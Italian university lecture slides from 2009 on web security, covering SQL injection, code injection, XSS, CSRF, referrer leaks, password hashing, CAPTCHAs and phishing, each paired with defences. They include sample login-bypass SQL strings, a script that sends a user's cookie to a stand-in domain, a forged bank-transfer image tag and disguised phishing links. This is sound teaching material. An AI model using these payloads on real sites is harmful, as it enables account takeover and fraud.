Laboratorio di reti II: Problematiche di sicurezza delle
reti
Stefano [email protected]
20 aprile, 2009
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 1 / 43
Problematiche di sicurezza delle reti
La sicurezza nelle reti
Nella programmazione web e necessario tenere sempre presentiproblematiche di sicurezza
Utenti malevoli possono tentare di attaccare applicazioni web perottenere vantaggi per se o anche solo per causare danni
Esistono numerose problematiche da considerare sia per siti web cheper altre applicazioni
Nel progettare un’applicazione e necessario pensare alle possibilidebolezze e a come prevenire i relativi attacchi
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 2 / 43
Problematiche di sicurezza delle reti
Entita di una minaccia
Per determinare l’entita di una minaccia, considerare i seguentifattori:
La facilita con cui l’attacco puo essere messo in praticaL’entita del danno che e possibile provocare
A seconda del tipo di applicazione, e opportuno realizzare diversilivelli di sicurezza
Per esempio e importante che in un’applicazione di e-commerce non cidebba essere alcuna debolezza. In un’applicazione meno crucialequalche buco che non puo portare a grossi danni e che e difficilmentesfruttabile da un attaccante potrebbe essere un problema ’perdonabile’
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 3 / 43
Problematiche di sicurezza delle reti
Implementare la sicurezza web
Quando si realizza la sicurezza in un sito web, si deve cercare quindi ilgiusto bilanciamento tra sicurezza, usabilita e tempo impiegato perl’implementazione
In ogni caso e necessario considerare le varie minacce per potervalutare i rischi che si corrono e le eventuali conseguenze di un attacco
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 4 / 43
Problematiche di sicurezza delle reti
Proprieta da salvaguardare
Alcune caratteristiche di un’applicazione web che vanno tutelate daproblemi di sicurezza sono le seguenti:
Integrita dei dati, sia dell’applicazione stessa che quelli contenutinella macchina dove viene eseguita
Riservatezza: i dati privati relativi ad un utente o piu in generaleinformazioni contenute sulla macchina contenente l’applicazionedevono restare riservati
Rispetto delle autorizzazioni: un’utente non deve avere lapossibilita di eseguire operazioni che non e autorizzato ad eseguire, odi eseguirle a nome di altri
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 5 / 43
Problematiche di sicurezza delle reti
Sicurezza a piu livelli
Spesso per garantire la sicurezza si effettuano controlli a piu livellidell’applicazione
In altre parole, un modulo dell’applicazione non accettaautomaticamente i dati provenienti da un altro modulo ma effettuaun ulteriore controllo
Un tipico esempio e quello di eseguire controlli sulla correttezza deidati sia nel codice lato server che come vincoli del database
Questi meccanismi vengono ampiamente sfruttati soprattutto, manon solo, per le applicazioni dove la sicurezza e un fattore critico
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 6 / 43
Problematiche di sicurezza delle reti
Sicurezza lato utenti
Molte problematiche di sicurezza possono essere risolte se l’utente chefa uso del sito o dell’applicazione prende determinate precauzioni
E’ tuttavia sbagliato presupporre che tuti gli utenti ne siano aconoscenza: implementando un sito web si deve tutelare la sicurezzaanche degli utenti meno esperti
Cercare di effettuare piu controlli possibile per la sicurezza latoapplicazione
Un esempio: molte webmail hanno un antivirus incorporato, nonostantemolti utenti piu esperti effettuerebbero comunque per conto loro uncontrollo per virus o diffiderebbero da allegati sospetti
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 7 / 43
Problematiche di sicurezza delle reti
Gestione degli accessi e cookie
Nei siti web gli accessi vengono solitamente gestiti tramite chiavi disessione contenute lato client in un cookie
Se un attaccante si appropria quindi di una chiave di sessione in uncookie di un determinato utente, questo puo accedere al relativo sitocome se fosse l’utente vittima
Cosı si possono verificare molteplici problemi di sicurezza, come lavisualizzazione di informazioni private, l’acquisizione di privilegi epermessi o l’effettuazione di operazioni a nome di un altro utente
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 8 / 43
Problematiche di sicurezza delle reti Code injection
Code injection
Una delle problematiche relative a siti web riguarda i casi dove delcodice inserito da utente viene inserito in del codice da eseguire
Un attaccante puo avere la possibilita di iniettare del codice malignoche verra eseguito
Uno dei casi piu comuni e quello dell’SQL injection
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 9 / 43
Problematiche di sicurezza delle reti Code injection
SQL injection
Consideriamo il caso di un login implementato in PHP
L’utente inserira nome utente e password in una form, ed il codicePHP estrarra i parametri ricevuti (solitamente in POST)
Per verificare che il login sia corretto, spesso viene controllato se unaquery come la seguente ottiene risultati:
"SELECT * FROM users WHERE username=’$user’ AND
password=’$pass’";
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 10 / 43
Problematiche di sicurezza delle reti Code injection
SQL injection
Il problema con un’implementazione di questo tipo e che i datisottomessi da un utente possono venir interpretati ed eseguiti comecodice SQL
Un attaccante che sospetti che l’implementazione del sito sia statarealizzata in questo modo,potrebbe inserire come password pergarantirsi l’accesso la stringa
x’ or ’1=1
La query SQL inviata al database sarebbe in questo caso
SELECT * FROM users WHERE username=’anyusername’ AND
password=’x’ OR ’1=1’;
Che restituisce tutta la tabella users visto che la condizione ’1=1’ esempre verificata
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 11 / 43
Problematiche di sicurezza delle reti Code injection
SQL injection
In questo caso, presupponendo sempre che il codice lato server noncontenga troppi controlli, solitamente viene ottenuto l’accesso conl’utente relativo alla prima riga della tabella
Con un po’ di tentativi per indovinare i nomi delle colonne, si puoottenere l’accesso con uno specifico utente inserendo come passworduna stringa del tipo
x’ OR username=’admin
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 12 / 43
Problematiche di sicurezza delle reti Code injection
SQL injection
Considerando che e possibile creare query annidate e, in alcuni server,inviare molteplici query al server SQL separate da un ’;’, tramite SQLinjection si puo inviare pressoche qualsiasi query al DB
Un esempio da non provare:
xkcd.com
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 13 / 43
Problematiche di sicurezza delle reti Code injection
SQL injection: soluzione
Soluzione al problema dell’SQL injection: validare qualsiasi input dautente che andra a finire come parte di una query SQL
Esistono numerosi metodi in molti linguaggi per imporre che unastringa non possa provocare comportamenti anomali
Per esempio, inserendo dei caratteri di escape per ogni caratterespeciale che puo essere interpretato dal linguaggio (nell’esempio,l’apice)
Altrimenti, si possono accettare come input solo stringhe con caratterialfanumerici o trattini
Per questo spesso in nomi utenti e password non sono permessicaratteri speciali come asterischi o apici
Per maggiore sicurezza, e oppurtuno accedere al DB dall’applicazioneweb con un utente con diritti ristretti
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 14 / 43
Problematiche di sicurezza delle reti Code injection
Code injection: PHP o JSP
Un altro esempio di code injection si puo verificare quando un sitopermette di sottomettere codice HTML che verra poi visualizzato
Per esempio in molti forum viene permesso di inserire nei post codiceHTML per permettere una formattazione ed un aspetto del testoconfigurabileIl problema si pone anche quando all’utente viene permesso di eseguirel’upload di un file che poi verra pubblicato in rete
In questo caso puo essere possibile inserire codice PHP o JSP che poiverra eseguito dal server quando la pagina contenente il codice vienerichiesta
Per esempio sarebbe possibile sottomettere
<?php
function evilFunction() { ... }
evilFunction();
?>
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 15 / 43
Problematiche di sicurezza delle reti Code injection
Code injection: PHP o JSP
Soluzione: come per l’SQL injection, validare ogni input da utente
Sostituire ad esempio ad ogni simbolo ’<’ la sequenza di escape <
Puo essere inoltre una buona idea eseguire il server web da un utentecon permessi limitati, in modo che anche nel caso qualche falla disicurezza sfugga al controllo il danno provocato sia limitato
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 16 / 43
Problematiche di sicurezza delle reti Code injection
Code injection: problematiche
Per probletatiche di code injection non e sufficiente eseguirevalidazioni lato client tramite Javascript o Applet
Non si ha mai il controllo del lato client: un utente malevolo puomanipolare liberamente i parametri in uscita tramite vari programmi
Per lo stesso motivo, non e sufficiente limitare le scelte nei formtramite menu a tendina, se poi non ci sono opportuni controlli latoserver
Una volta che il lato server e ben implementato, controlli lato clientsono comunque molto utili in quanto permettono ad un utente dicorreggere dati non validi senza ricaricare tutta la pagina
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 17 / 43
Problematiche di sicurezza delle reti Code injection
Cross site scripting
Un’altra problematica di code injection piu sottile e il cross sitescripting (XSS)
Questa si puo verificare quando si puo sottomettere codice HTML inun sito che verra visualizzato da altri utenti
Questo succede per esempio nei forum ma anche nelle caselle di postaconsultabili via web, in quanto nelle email e consentito il codice HTML
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 18 / 43
Problematiche di sicurezza delle reti Cross site scripting
Cross site scripting
L’obiettivo del XSS tipicamente e quello di appropriarsi del cookie diaccesso di un utente al sito in questione
Il codice Javascript eseguito ha accesso ai cookie del sito stesso
Al codice JS non viene permesso di collegarsi ad altri siti se nonquello di origine, ma il browser puo essere indotto ad inviare dati adun terzo sito tramite determinati tag HTML come IMG
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 19 / 43
Problematiche di sicurezza delle reti Cross site scripting
Cross site scripting
Tramite il tag IMG e necessariamente permesso l’accesso a immaginisu altri domini
Per ottenere i cookie di un utente, avendo a disposizione un dominiowww.miosito.com, e possibile usare un codice simile al seguente:
<script type=’text/javascript’>
document.write("<img src=’www.miosito.com/img.png?c="
+ document.cookie + "’>");
</script>
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 20 / 43
Problematiche di sicurezza delle reti Cross site scripting
Cross site scripting
A questo punto il server www.miosito.com puo salvare il valore delcookie ed inviarlo all’attaccante che puo accedere al sito bersaglio conle credenziali della vittima
Puo essere implementato uno script che salvi il parametro in GETprima di restituire l’immagine, oppure semplicemente il valore delcookie puo essere letto nel log delle richieste del server
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 21 / 43
Problematiche di sicurezza delle reti Cross site scripting
Cross site scripting: soluzioni
Soluzioni per il cross site scripting:
Per siti che permettono di inserire HTML, non permetterel’inserimento di tag <SCRIPT>
Eseguire controlli di validazione accurati. Rimuovere tutte leoccorrenze di <SCRIPT> per esempio non e sufficiente: l’attaccantepotrebbe inserire la stringa <SCR<SCRIPT>IPT>
Nelle mail in HTML, non permettere l’esecuzione di script oppurenegare l’accesso a immagini esterne al sito
Per una maggiore sicurezza, cambiare periodicamente il valore delcookie utilizzato per l’accesso alla sessione
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 22 / 43
Problematiche di sicurezza delle reti Cross site request forgery
Cross-site request forgery
Un altro tipo di attacco simile al XSS e il cross-site request forgery(CSRF, letto Sea-Surf)
Questo tipo di attacco punta a far eseguire delle operazioni a cui nonsi avrebbe accesso ad un utente autorizzato
I presupposti necessari sono i seguenti
Si ha la possibilita di sottomettere codice HTML ad una vittimatramite mail o siti vulnerabili che lo permettonoLa vittima possiede un cookie che permette l’accesso ad una risorsa alquale l’attaccante vuole accedere
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 23 / 43
Problematiche di sicurezza delle reti Cross site request forgery
Cross-site request forgery
Di nuovo, tramite il tag IMG si induce la vittima a mandare richiesteHTTP formulate dall’attaccante ad un terzo sito
Tali richieste rappresentano l’azione che l’attaccante vuole realizzaretramite le autorizzazioni concesse alla vittima
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 24 / 43
Problematiche di sicurezza delle reti Cross site request forgery
Cross-site request forgery
Un esempio di CSRF. L’utente A e loggato al sito www.banca.it perl’accesso alle sue operazioni bancarie
Il sito www.banca.it contiene un form per i versamenti che allasottomissione dei dati richiede una pagina del tipo
http://www.banca.it/versamento?importo=...&destinatario=...
L’utente B invia ad A una mail con il codice
<IMG src=’www.banca.it/
... versamento?importo=1000E&destinatario=B’>
Quando A leggera la mail, il browser inviera una richiesta HTTP allapagina web indicata cercando di caricare l’immagine
Il sito www.banca.it rilevera tramite il cookie che la richiesta arrivada A ed autorizzera l’operazione
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 25 / 43
Problematiche di sicurezza delle reti Cross site request forgery
Cross-site request forgery: soluzioni
Soluzioni contro il CSRF:
Come per il XSS, non permettere in forum e webmail lavisualizzazione di immagini esterne al sito
Impostare la durata dei cookie di accesso ad un tempo limitato
Nei form che permettono operazioni importanti, inserire un campohidden generato a caso ad ogni richiesta; nella pagina sucessiva,autorizzare l’operazione solo se sia il cookie sia il parametro nascostocorrispondono
Lato utente, eseguire il logout da siti sensibili prima di visitare forumo webmail che si sospetta siano mal implementati
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 26 / 43
Problematiche di sicurezza delle reti Problematiche relative all’HTTP-referer
Problematiche relative al referrer
Altre problematiche esistenti sono causate dal campo di intestazioneHTTP HTTP-referer
Questo campo della richiesta HTTP viene impostato al valoredell’URL dal quale e stata fatta la richiesta dalla nuova URL
Se in un’URL A un utente clicca un link alla URL B, la richiesta HTTPper questo secondo indirizzo conterra come HTTP-referer l’URL ALo stesso vale per richieste di immagini all’interno di una pagina web. Ilcontrollo di questo campo viene a volte utilizzato per impedire l’accessoad una immagine al di fuori del contesto di un determinato sito
Questo campo spesso viene utilizzato per sapere da dove arriva iltraffico diretto verso il proprio sito
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 27 / 43
Problematiche di sicurezza delle reti Problematiche relative all’HTTP-referer
Problematiche relative al referrer
Il campo referrer puo causare diversi problemi di filtraggio diinformazioni
Nel caso l’identificativo di sessione di un sito sia propagato tramiteGET, questo facendo parte dell’URL viene inviato nel campoHTTP-referer ed un sito maligno lo puo intercettare e farne uso
In alcuni casi si possono generare problemi di privacy, in quanto ad unsito vengono inviate informazioni relative ad una visita ad un’altrosito da parte di un utente
Sempre nel caso di forum e webmail per esempio, se l’URL contiene unidentificativo relativo al nome utente grazie ad un’immagine esterna sipuo sapere quali utenti hanno visualizzato la mail (o il post) e quali noTecnica a volte usata da spammer per capire quali siano le caselleemail ’attive’
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 28 / 43
Problematiche di sicurezza delle reti Problematiche relative all’HTTP-referer
Problematiche relative al referrer
Soluzioni alle problematiche relative al referrer:
Se l’ID di sessione viene passato tramite GET, cambiarne il valore trauna richiesta e l’altra
Lato utente, fare attenzione ai link cliccati se l’URL contieneinformazioni sensibili
Ulteriormente, si puo evitare di specificare il campo HTTP-referer
nelle proprie richieste HTTP tramite apposite impostazioni delbrowser
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 29 / 43
Problematiche di sicurezza delle reti Riservatezza delle password nel DB
Riservatezza di password
A volte e necessario salvare le password degli utenti in un databasema si vuole impedire che anche persone che hanno accesso al DB(come il personale tecnico) non possano vedere le password
Sebbene questa tipologia di persone ha possibilita di maneggiare ildatabase, in certi casi l’appropriazione della password puo essere unaminaccia maggiore
Per esempio una modifica del database e rilevabile piu facilmente egrazie ai vari log si puo solitamente risalire all’utente che la haeffettuata. Ottenendo una password invece si puo impersonare un altroutente del sistema in modo anonimo
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 30 / 43
Problematiche di sicurezza delle reti Riservatezza delle password nel DB
Riservatezza di password nei DB: funzioni hash
Il problema si risolve tramite l’uso di funzioni hash
Una funzione hash prende come argomento una stringa e nerestituisce un’altra (di solito di lunghezza fissata) che gode delleseguenti proprieta:
Data una qualsiasi stringa in uscita dalla funzione, non si conosce alcunmodo efficiente per trovare una stringa in entrata corrispondenteLe possibilita di comparire delle varie stringhe in uscita sonoapprossimativamente uguali
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 31 / 43
Problematiche di sicurezza delle reti Riservatezza delle password nel DB
Riservatezza di password nei DB: funzioni hash
Funzioni hash molto note sono MD5 e SHA. Librerie per calcolarlesono fornite per numerosi linguaggi di programmazione
Spesso le funzioni hash sono anche utilizzate per verificare l’integritadi pacchetti software
Per verificare che un pacchetto software distribuito su vari domini’estranei’ al programma non sia stato alterato, viene fornito un codicehash che consente all’utente di verificarne l’autenticita
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 32 / 43
Problematiche di sicurezza delle reti Riservatezza delle password nel DB
Riservatezza di password nei DB: soluzione
A questo punto, la soluzione al problema e di memorizzare neldatabase non la password stessa ma il risultato della funzione ad essaapplicata
Quando un utente richiede un login con una determinata password, siverifica se l’hash della password ed il valore nel databasecorrispondano
Con questa tecnica anche vedendo il database non si ha nessunainformazione sulle password usate
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 33 / 43
Problematiche di sicurezza delle reti Uso di captcha
Problematiche di accesso automatico
Un’altra problematica di molti siti e di evitare l’accesso automatizzatoda parte di programmi
Si puo desiderare per esempio che un numero molto grande di utentifittizzi vengano registrati automaticamente
Puo essere inoltre necessario prevenire tentativi di accesso nonautorizzati tramite attacchi a forza bruta ad una password da parte diprogrammi
Sebbene tentare tutte le password di una lunghezza abbastanza grandesia proibitivo, questo attacco potrebbe aver successo nei riguardi dipassword brevi o deboli con l’ausilio di un dizionario di passwordfrequentiUna soluzione potrebbe essere di bloccare l’account dopo n tentativi,ma questo impedirebbe l’accesso anche a chi ne ha diritto
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 34 / 43
Problematiche di sicurezza delle reti Uso di captcha
CAPTCHA
Per risolvere questo problema sono stati creati i CAPTCHA(Completely Automated Public Turing test to tell Computers andHumans Apart)
Questi consistono in caratteri opportunamente distorti e confusivisualizzati in un’immagine che gli attuali programmi non sannoriconoscere
Un utente verra quindi identificato come umano solo se riconoscecorrettamente la scritta del captcha. Per ogni accesso dovra esseregenerata chiaramente una diversa immagine
Non tutti i CAPTCHA in circolazione sono inattaccabili, in quantoalcuni possono venir effettivamente decifrati da alcune tecniche. Fidarsidel tutto quindi solo di CAPTCHA opportunamente testati
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 35 / 43
Problematiche di sicurezza delle reti Uso di captcha
Attacco ai CAPTCHA
E’ stata provata una tecnica per l’aggiramento dei CAPTCHA basatasull’appoggio su di un altro sito web complice basato sul seguentemeccanismo
Il programma per l’accesso automatizzato richiede l’operazioneproibita e riceve un CAPTCHA da decifrare
Il programma invia il CAPTCHA al sito complice, che richiedera aduno dei suoi utenti di decifrare il CAPTCHA per poter accedere a delcontenuto
Se l’utente inserisce il codice, il programma lo inviera al sito attaccatoottenendo l’accesso
Questo tipo di attacco comunque non viene considerato grave inquanto il numero di accessi che si riesce ad ottenere non si avvicinaall’ordine di grandezza degli accessi possibili tramite una proceduradel tutto automatizzata
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 36 / 43
Problematiche di sicurezza delle reti Segretezza delle comunicazioni
Segretezza delle comunicazioni
Un altra problematica della programmazione di reti e quella dellasegretezza delle comunicazioni
Tutto quello che viaggia nella rete da una macchina all’altra puoessere potenzialmente intercettato e letto
Per dati sensibili, e necessario un sistema di crittografia che rendal’informazione illeggibile da terzi
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 37 / 43
Problematiche di sicurezza delle reti Segretezza delle comunicazioni
Uso di protocolli criptati
Per questo scopo sono stati creati dei protocolli modificati che fannouso di algoritmi crittografici
Per quanto riguarda HTTP, esiste il protocollo HTTPS. Questo fauso di HTTP e TCP ma interpone tra questi due un protocollo dicifratura delle informazioni
Un altro esempio di protocollo sicuro e SFTP per il trasferimentosicuro dei file
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 38 / 43
Problematiche di sicurezza delle reti Phishing
Phishing
Il phishing e un tentativo di ottenere informazioni riservate di unutente facendogli credere di avere a che fare con un sito affidabile
Solitamente si ottiene mascherando un’URL ad un sito con un’altra.Il sito destinazione potrebbe essere una copia del sito originale inmodo da indurre l’utente ad inserire dati personali (username epassword, numero di carta di credito...)
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 39 / 43
Problematiche di sicurezza delle reti Phishing
Modalita del phishing
Esistono diversi modi per mascherare un URL con un’altra. Il piusemplice e inserire nel contenuto del tag <a> un link diverso daquello puntato.
<a
href=’http://www.sitomalvagio.com’>www.sitobuono.com</a>
Un’altro modo e di utilizzare la chiocciola, che in un’URL specifica ilnome dell’utente. Visto che solitamente non e un’informazionenecessaria, tutto quello che la precede viene solitamente scartato
Se l’URL e molto lunga, il sito finale potrebbe non esere facilmentevisibile
<a href=’http://www.sitobuono.com?lkma=kjfl&lkk=iusd...
@http://www.sitomalvagio.com>...</a>
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 40 / 43
Problematiche di sicurezza delle reti Phishing
Modalita del phishing
Un altro modo per effettuare il fishing e di utilizzare delle pagine inalcuni siti che effettuano automaticamente una redirezione ad un altrosito specificato tra i parametri
Tali pagine vengono a volte utilizzate per conteggiare il numero diclick effettuati sui vari link esterni, per esempio fare delle statistiche
Es. http://sitobuono.com/redirect.php
... ?dest=http://www.sitomalvagio.com
Per nascondere ulteriormente il vero link, questo a volte vienecodificato tramite i caratteri di escape dell’HTML
Ancora: un sottodominio di un sito malvagio puo essere confuso conun dominio affidabile da un utente inesperto, come nell’URL
’http://www.sitobuono.sitomalvagio.com’>...</a>
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 41 / 43
Problematiche di sicurezza delle reti Phishing
Phishing: soluzioni
Soluzioni al phishing: fortunatamente, molti browser implementanomeccanismi che riconoscono se l’indirizzo di un link e ’sospetto’ e losegnalano all’utente
Un’altra soluzione e di inviare i link cliccati ad un’autorita che eseguequesta verifica in remoto
Da questa soluzione possono nascere problemi di privacy...
Mail che contengono tentativi di phishing vengono spesso individuatedai server di posta o da alcuni antivirus e segnalate come pericoloseall’utente
In alcuni casi, e comunque necessaria dell’accortezza lato utente
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 42 / 43
Problematiche di sicurezza delle reti Esercizio
Esercizio
Analizzare le possibili minacce che possono essere messe in atto sulsito del forum
Per ognuna di esse, valutare quanto gravi possono essere leconseguenze e con quanta difficolta la minaccia puo essere messa inatto
Risolvere i problemi di sicurezza ritenuti piu gravi secondo laprecedente analisi, facendo in modo che questo pesi meno possibilesulle funzionalita del sito
Stefano Brocchi Laboratorio di reti II: Sicurezza web 20 aprile, 2009 43 / 43